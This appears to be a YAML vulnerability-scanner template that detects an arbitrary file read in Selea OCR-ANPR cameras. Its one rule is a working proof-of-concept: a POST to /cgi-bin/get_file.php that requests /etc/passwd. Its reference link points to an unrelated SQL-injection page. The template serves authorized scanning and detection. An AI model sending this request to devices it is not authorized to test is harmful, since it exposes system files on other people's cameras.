selea-targa-camera-read-file: Selea OCR-ANPR摄像机 get_file.php 任意文件读取漏洞

id: selea-targa-camera-read-file

info:
  name: Selea OCR-ANPR摄像机 get_file.php 任意文件读取漏洞
  author: zan8in
  severity: critical
  description: |
    Selea OCR-ANPR摄像机 get_file.php存在 任意文件读取漏洞，通过构造特殊请求获取服务器文件
    "selea_httpd"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/iKuai/iKuai%20%E6%B5%81%E6%8E%A7%E8%B7%AF%E7%94%B1%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: POST
      path: /cgi-bin/get_file.php
      body: |
        name=test&files_list=/etc/passwd
      follow_redirects: true
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()